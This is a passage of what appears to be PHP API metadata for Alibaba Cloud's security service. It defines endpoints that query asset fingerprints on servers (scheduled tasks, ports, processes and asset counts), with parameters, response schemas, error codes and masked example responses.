\\"Name\\": \\"kubelet\\",\\n \\"Count\\": 23,\\n \\"BizType\\": \\"docker_component\\"\\n }\\n ]\\n}","type":"json"}]', + 'title' => '查询资产指纹调查中间件列表', + ], + 'DescribePropertyCronDetail' => [ + 'summary' => '查询主机资产中计划任务列表的详细信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Source', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的任务路径。', + 'type' => 'string', + 'required' => false, + 'example' => '/etc/cron.d/root', + ], + ], + [ + 'name' => 'User', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的计划任务的账户名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'root', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的计划任务产的指纹信息的数量。默认值为**10**，表示每页显示10条计划任务资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'Extend', + 'in' => 'query', + 'schema' => [ + 'description' => '计划任务的路径是否支持模糊查询。要设置支持模糊查询时，请将该参数的取值设置为**1**，其他值或取值为空则表示不支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取漏洞列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式'."\n" + .'- **false**：不使用NextToken方式', + 'type' => 'boolean', + 'required' => false, + 'example' => 'true', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => '1426C575705AE8545E8360A6EFA3B***', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'B0C4E12E-CCE1-109D-9E62-7B95CBBAEF8C', + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的计划任务资产的指纹信息的数量。默认值为**10**，表示每页显示10条计划任务资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的计划任务资产的指纹信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '当前页面显示的计划任务资产的指纹信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'Propertys' => [ + 'description' => '查询到的计划任务资产的指纹信息的详情列表。', + 'type' => 'array', + 'items' => [ + 'description' => '查询到的计划任务资产的指纹信息的详情列表。', + 'type' => 'object', + 'properties' => [ + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Ip' => [ + 'description' => '服务器的IP列表。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'User' => [ + 'description' => '执行计划任务的账户名称。', + 'type' => 'string', + 'example' => 'root', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-hp35tftuh52wbp1g****', + ], + 'Source' => [ + 'description' => '计划任务的路径。', + 'type' => 'string', + 'example' => '/etc/cron.d/root', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '100.104.XX.XX', + ], + 'Cmd' => [ + 'description' => '计划任务的执行命令。', + 'type' => 'string', + 'example' => '/usr/lib64/sa/sa1 1 1', + ], + 'Period' => [ + 'description' => '计划任务执行的周期。', + 'type' => 'string', + 'example' => '*/10 * * * *', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'hc-host-****', + ], + 'Md5' => [ + 'description' => '计划任务路径的MD5信息。', + 'type' => 'string', + 'example' => '4cc8f97c2bf9cbabb2c2be2erqw****', + ], + 'CreateTimestamp' => [ + 'description' => '资产指纹的最新扫描的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649149566000', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"B0C4E12E-CCE1-109D-9E62-7B95CBBAEF8C\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"User\\": \\"root\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Source\\": \\"/etc/cron.d/root\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"Cmd\\": \\"/usr/lib64/sa/sa1 1 1\\",\\n \\"Period\\": \\"*/10 * * * *\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Md5\\": \\"4cc8f97c2bf9cbabb2c2be2erqw****\\",\\n \\"CreateTimestamp\\": 1649149566000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n B0C4E12E-CCE1-109D-9E62-7B95CBBAEF8C\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 192.168.XX.XX\\n root\\n i-hp35tftuh52wbp1g****\\n /etc/cron.d/root\\n 100.104.XX.XX\\n /usr/lib64/sa/sa1 1 1\\n */10 * * * *\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n hc-host-****\\n 4cc8f97c2bf9cbabb2c2be2erqw****\\n 1649149566000\\n \\n","errorExample":""}]', + 'title' => '查询资产指纹调查任务列表详细信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertyCount' => [ + 'summary' => 'Queries the statistics of asset fingerprints. The assets include processes, ports, software, accounts, middleware, websites, web services, scheduled tasks, startup items, and databases.', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + 'autoTest' => true, + 'tenantRelevance' => 'publicInformation', + ], + 'parameters' => [ + [ + 'name' => 'Type', + 'in' => 'query', + 'schema' => [ + 'description' => '指纹类型。多个用半角英文逗号分割。取值：'."\n" + ."\n" + .'- **port**：端口'."\n" + .'- **process**：进程'."\n" + .'- **software**：软件'."\n" + .'- **user**：账户'."\n" + .'- **cron**：计划任务'."\n" + .'- **sca**：中间件'."\n" + .'- **web**：Web站点'."\n" + .'- **database**：数据库'."\n" + .'- **lkm**：内核模块'."\n" + .'- **autorun**：启动项'."\n" + .'- **web_server**：web服务'."\n", + 'type' => 'string', + 'required' => false, + 'example' => 'port,process', + ], + ], + [ + 'name' => 'UuidList', + 'in' => 'query', + 'schema' => [ + 'description' => '指定待查询的资产UUID。多个用半角英文逗号分割。', + 'type' => 'string', + 'required' => false, + 'example' => '9658314a-7609-4426-afc4-2c924072****,'."\n" + .'9658314a-7609-4426-afc4-2c924072****', + ], + ], + ], + 'responses' => [ + 200 => [ + 'headers' => [], + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'Process' => [ + 'description' => '进程数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '367', + ], + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '7E0618A9-D5EF-4220-9471-C42B5E92719F', + ], + 'User' => [ + 'description' => '用户数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '214', + ], + 'Software' => [ + 'description' => '软件数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '111', + ], + 'Cron' => [ + 'description' => '计划任务数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '123', + ], + 'Port' => [ + 'description' => '端口数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '22', + ], + 'Sca' => [ + 'description' => '中间件数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '112', + ], + 'Web' => [ + 'description' => 'Web站点数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '65', + ], + 'Database' => [ + 'description' => '数据库数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '2', + ], + 'Lkm' => [ + 'description' => '内核模块数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '4', + ], + 'Autorun' => [ + 'description' => '启动项数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + 'Webserver' => [ + 'description' => 'web服务数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '8', + ], + 'AgentlessScaAiComponent' => [ + 'description' => 'AI工具数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '13', + ], + 'AgentlessLlmService' => [ + 'description' => 'AI服务数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '3', + ], + ], + ], + ], + ], + 'errorCodes' => [ + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'staticInfo' => [ + 'returnType' => 'synchronous', + ], + 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Process\\": 367,\\n \\"RequestId\\": \\"7E0618A9-D5EF-4220-9471-C42B5E92719F\\",\\n \\"User\\": 214,\\n \\"Software\\": 111,\\n \\"Cron\\": 123,\\n \\"Port\\": 22,\\n \\"Sca\\": 112,\\n \\"Web\\": 65,\\n \\"Database\\": 2,\\n \\"Lkm\\": 4,\\n \\"Autorun\\": 3,\\n \\"Webserver\\": 8,\\n \\"AgentlessScaAiComponent\\": 13,\\n \\"AgentlessLlmService\\": 3\\n}","type":"json"}]', + 'title' => 'DescribePropertyCount', + ], + 'DescribePropertyPortDetail' => [ + 'summary' => '查询服务器的端口资产的资产指纹信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Port', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的监听端口号。', + 'type' => 'string', + 'required' => false, + 'example' => '22', + ], + ], + [ + 'name' => 'ProcName', + 'in' => 'query', + 'schema' => [ + 'description' => '服务器进程的名称。', + 'type' => 'string', + 'required' => false, + 'example' => 'sshd', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的端口资产的指纹信息的数量。默认值为**10**，表示每页显示10条端口资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'BindIp', + 'in' => 'query', + 'schema' => [ + 'description' => '端口绑定IP。', + 'type' => 'string', + 'required' => false, + 'example' => '0.0.XX.XX', + ], + ], + [ + 'name' => 'Extend', + 'in' => 'query', + 'schema' => [ + 'description' => '端口号是否支持模糊查询。要设置支持模糊查询时，请将该参数的取值设置为**1**，其他值或取值为空则表示不支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取漏洞列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式。'."\n" + .'- **false**：不使用NextToken方式。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => '0FA7F1F4-488D-52CA-9BFC-3E47793B49D1', + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的端口资产的指纹信息的数量。默认值为**10**，表示每页显示10条端口资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的端口资产的指纹信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '当前页面显示的账户资产的指纹信息的数量', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'Propertys' => [ + 'description' => '查询到的端口资产的指纹信息的详情列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Pid' => [ + 'description' => '监听端口对应服务器的运行进程的标识符。', + 'type' => 'string', + 'example' => '522', + ], + 'BindIp' => [ + 'description' => '端口绑定IP。', + 'type' => 'string', + 'example' => '0.0.X.X', + ], + 'Ip' => [ + 'description' => '监听端口绑定的网卡的IP。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'ProcName' => [ + 'description' => '服务器进程的名称。', + 'type' => 'string', + 'example' => 'sshd', + ], + 'InstanceId' => [ + 'description' => '服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-hp35tftuh52wbp1g****', + ], + 'Port' => [ + 'description' => '监听端口。', + 'type' => 'string', + 'example' => '22', + ], + 'IntranetIp' => [ + 'description' => '服务器的私网IP地址。', + 'type' => 'string', + 'example' => '100.104.XX.XX', + ], + 'Uuid' => [ + 'description' => '服务器的UUID。', + 'type' => 'string', + 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', + ], + 'InstanceName' => [ + 'description' => '服务器实例的名称。', + 'type' => 'string', + 'example' => 'hc-host-****', + ], + 'Proto' => [ + 'description' => '监听端口使用的网络协议。', + 'type' => 'string', + 'example' => 'tcp', + ], + 'CreateTimestamp' => [ + 'description' => '资产指纹的最新扫描的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1649149566000', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'IllegalParam', + 'errorMessage' => 'Illegal param', + ], + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"0FA7F1F4-488D-52CA-9BFC-3E47793B49D1\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Pid\\": \\"522\\",\\n \\"BindIp\\": \\"0.0.X.X\\",\\n \\"Ip\\": \\"192.168.XX.XX\\",\\n \\"ProcName\\": \\"sshd\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Port\\": \\"22\\",\\n \\"IntranetIp\\": \\"100.104.XX.XX\\",\\n \\"Uuid\\": \\"162eb349-c2d9-4f8b-805c-75b43d4c****\\",\\n \\"InstanceName\\": \\"hc-host-****\\",\\n \\"Proto\\": \\"tcp\\",\\n \\"CreateTimestamp\\": 1649149566000\\n }\\n ]\\n}","errorExample":""},{"type":"xml","example":"\\n 0FA7F1F4-488D-52CA-9BFC-3E47793B49D1\\n \\n 1\\n 10\\n 1\\n 1\\n \\n \\n 2022-04-05 17:06:06\\n 192.168.XX.XX\\n 522\\n 0.0.XX.XX\\n 192.168.XX.XX\\n sshd\\n i-hp35tftuh52wbp1g****\\n 22\\n 100.104.XX.XX\\n 162eb349-c2d9-4f8b-805c-75b43d4c****\\n hc-host-****\\n tcp\\n 1649149566000\\n \\n","errorExample":""}]', + 'title' => '查询端口资产的资产指纹信息', + 'requestParamsDescription' => ' ', + 'responseParamsDescription' => ' ', + 'extraInfo' => ' ', + ], + 'DescribePropertyProcDetail' => [ + 'summary' => '查询服务器的进程资产的资产指纹信息。', + 'methods' => [ + 'post', + 'get', + ], + 'schemes' => [ + 'http', + 'https', + ], + 'security' => [ + [ + 'AK' => [], + ], + ], + 'operationType' => 'read', + 'systemTags' => [ + 'operationType' => 'get', + 'riskType' => 'none', + 'chargeType' => 'free', + 'abilityTreeNodes' => [ + 'FEATUREsas36IOGX', + ], + ], + 'parameters' => [ + [ + 'name' => 'Remark', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的名称或IP地址。', + 'type' => 'string', + 'required' => false, + 'example' => '192.168.XX.XX', + ], + ], + [ + 'name' => 'Name', + 'in' => 'query', + 'schema' => [ + 'description' => '进程名称。', + 'type' => 'string', + 'required' => false, + 'example' => '8888', + ], + ], + [ + 'name' => 'User', + 'in' => 'query', + 'schema' => [ + 'description' => '运行进程的用户的信息。', + 'type' => 'string', + 'required' => false, + 'example' => 'root', + ], + ], + [ + 'name' => 'Cmdline', + 'in' => 'query', + 'schema' => [ + 'description' => '进程的启动参数。', + 'type' => 'string', + 'required' => false, + 'example' => './8888', + ], + ], + [ + 'name' => 'Uuid', + 'in' => 'query', + 'schema' => [ + 'description' => '要查询的服务器的UUID。', + 'type' => 'string', + 'required' => false, + 'example' => '50d213b4-3a35-427a-b8a5-04b0c7e1****', + ], + ], + [ + 'name' => 'CurrentPage', + 'in' => 'query', + 'schema' => [ + 'description' => '设置从返回结果的第几页开始显示查询结果。默认值为**1**，表示从第1页开始显示。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'PageSize', + 'in' => 'query', + 'schema' => [ + 'description' => '设置分页查询时，每页显示的进程资产的指纹信息的数量。默认值为**10**，表示每页显示10条进程资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'required' => false, + 'example' => '10', + ], + ], + [ + 'name' => 'ProcTimeStart', + 'in' => 'query', + 'schema' => [ + 'description' => '进程启动开始的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1648809853000', + ], + ], + [ + 'name' => 'ProcTimeEnd', + 'in' => 'query', + 'schema' => [ + 'description' => '进程启动结束的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '1649587453000', + ], + ], + [ + 'name' => 'Extend', + 'in' => 'query', + 'schema' => [ + 'description' => '进程名称是否支持模糊查询。要设置支持模糊查询时，请将该参数的取值设置为1，其他值或取值为空则表示不支持模糊查询。', + 'type' => 'string', + 'required' => false, + 'example' => '1', + ], + ], + [ + 'name' => 'ResourceDirectoryAccountId', + 'in' => 'query', + 'schema' => [ + 'description' => '资源目录成员账号主账号ID。'."\n" + .'>调用[DescribeMonitorAccounts](~~DescribeMonitorAccounts~~)接口可以获取该参数。', + 'type' => 'integer', + 'format' => 'int64', + 'required' => false, + 'example' => '127608589417****', + ], + ], + [ + 'name' => 'UseNextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '是否使用NextToken方式拉取漏洞列表数据。如果使用此参数TotalCount不再返回。取值：'."\n" + ."\n" + .'- **true**：使用NextToken方式。'."\n" + .'- **false**：不使用NextToken方式。', + 'type' => 'boolean', + 'required' => false, + 'example' => 'false', + ], + ], + [ + 'name' => 'NextToken', + 'in' => 'query', + 'schema' => [ + 'description' => '用来标记当前开始读取的位置，置空表示从头开始。'."\n" + ."\n" + .'> 第一次调用不用填写，会在返回结果中包含第二次调用时用的NextToken，之后每次调用返回结果中都有下一次调用时的NextToken。', + 'type' => 'string', + 'required' => false, + 'example' => 'AAAAAV3MpHK1AP0pfERHZN5pu6k+AtdhNE3kgQEK36GujZ5on+tWdc+4WoaoMP/kUNxxxx', + ], + ], + ], + 'responses' => [ + 200 => [ + 'schema' => [ + 'type' => 'object', + 'properties' => [ + 'RequestId' => [ + 'description' => '本次调用请求的ID，是由阿里云为该请求生成的唯一标识符，可用于排查和定位问题。', + 'type' => 'string', + 'example' => 'AA47D46F-10DE-138C-BBB4-8A0003F75CD7', + ], + 'PageInfo' => [ + 'description' => '查询结果页面显示的信息。', + 'type' => 'object', + 'properties' => [ + 'CurrentPage' => [ + 'description' => '分页查询时，当前页的页码。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'PageSize' => [ + 'description' => '分页查询时，每页显示的进程资产的指纹信息的数量。默认值为**10**，表示每页显示10条进程资产的指纹信息。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '10', + ], + 'TotalCount' => [ + 'description' => '查询到的进程资产的指纹信息的总数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'Count' => [ + 'description' => '当前页面显示的进程资产的指纹信息的数量。', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'NextToken' => [ + 'description' => '使用NextToken方式下返回的NextToken值。', + 'type' => 'string', + 'example' => 'B604532DEF982B875E8360A6EFA3B***', + ], + ], + ], + 'Propertys' => [ + 'description' => '查询到的进程资产的指纹信息的详情列表。', + 'type' => 'array', + 'items' => [ + 'type' => 'object', + 'properties' => [ + 'InternetIp' => [ + 'description' => '服务器的公网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'Pid' => [ + 'description' => '运行进程的身份标识。', + 'type' => 'string', + 'example' => '12826', + ], + 'User' => [ + 'description' => '进程的运行用户。', + 'type' => 'string', + 'example' => 'root', + ], + 'InstanceId' => [ + 'description' => '进程关联的服务器的实例ID。', + 'type' => 'string', + 'example' => 'i-hp35tftuh52wbp1g****', + ], + 'Cmdline' => [ + 'description' => '进程的启动参数。', + 'type' => 'string', + 'example' => './8888', + ], + 'IntranetIp' => [ + 'description' => '资产的私网IP地址。', + 'type' => 'string', + 'example' => '192.168.XX.XX', + ], + 'EuidName' => [ + 'description' => '进程的运行权限。', + 'type' => 'string', + 'example' => 'root', + ], + 'Uuid' => [ + 'description' => '进程关联的服务器的UUID。', + 'type' => 'string', + 'example' => '162eb349-c2d9-4f8b-805c-75b43d4c****', + ], + 'StartTime' => [ + 'description' => '进程启动的时间。', + 'type' => 'string', + 'example' => '2019-08-07 10:09:05', + ], + 'Pname' => [ + 'description' => '进程所属父进程的名称。', + 'type' => 'string', + 'example' => 'start***.s', + ], + 'InstanceName' => [ + 'description' => '进程关联的服务器的名称。', + 'type' => 'string', + 'example' => 'hc-host-****', + ], + 'Path' => [ + 'description' => '进程的路径。', + 'type' => 'string', + 'example' => '/root/Oracle/Middleware/***/8888', + ], + 'Md5' => [ + 'description' => '进程文件的MD5信息。', + 'type' => 'string', + 'example' => '842644ea3d88bd7f7e14c1c089ef****', + ], + 'Name' => [ + 'description' => '进程的名称。', + 'type' => 'string', + 'example' => 'agetty', + ], + 'CreateTimestamp' => [ + 'description' => '最新采集数据的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1565686951000', + ], + 'StartTimeDt' => [ + 'description' => '进程启动的时间戳。单位为毫秒。', + 'type' => 'integer', + 'format' => 'int64', + 'example' => '1648783107000', + ], + 'IsPackage' => [ + 'description' => '是否为安装包进程。取值：'."\n" + ."\n" + .'- **1**：是'."\n" + .'- **0**：否', + 'type' => 'integer', + 'format' => 'int32', + 'example' => '1', + ], + 'State' => [ + 'description' => '进程的运行状态。'."\n", + 'type' => 'string', + 'example' => 'sleeping', + ], + 'FileHash' => [ + 'description' => '进程文件hash信息。', + 'type' => 'string', + 'example' => '935c1861df1f4018d698e8b65abfa02d7e9037d8f68ca3c2065b6ca165d4****', + ], + ], + ], + ], + ], + ], + ], + ], + 'errorCodes' => [ + 400 => [ + [ + 'errorCode' => 'RdCheckNoPermission', + 'errorMessage' => 'Resource directory account verification has no permission.', + ], + ], + 403 => [ + [ + 'errorCode' => 'NoPermission', + 'errorMessage' => 'caller has no permission', + ], + ], + 500 => [ + [ + 'errorCode' => 'RdCheckInnerError', + 'errorMessage' => 'Resource directory account service internal error.', + ], + [ + 'errorCode' => 'ServerError', + 'errorMessage' => 'ServerError', + ], + ], + ], + 'responseDemo' => '[{"type":"json","example":"{\\n \\"RequestId\\": \\"AA47D46F-10DE-138C-BBB4-8A0003F75CD7\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 10,\\n \\"TotalCount\\": 1,\\n \\"Count\\": 1,\\n \\"NextToken\\": \\"B604532DEF982B875E8360A6EFA3B***\\"\\n },\\n \\"Propertys\\": [\\n {\\n \\"InternetIp\\": \\"192.168.XX.XX\\",\\n \\"Pid\\": \\"12826\\",\\n \\"User\\": \\"root\\",\\n \\"InstanceId\\": \\"i-hp35tftuh52wbp1g****\\",\\n \\"Cmdline\\": \\"./8888\\",\\n \\"IntranetIp\\": \\"192.168.XX.XX\\",\\n \\"EuidName\\": \\"root\\",\\n \\"Uuid\\": 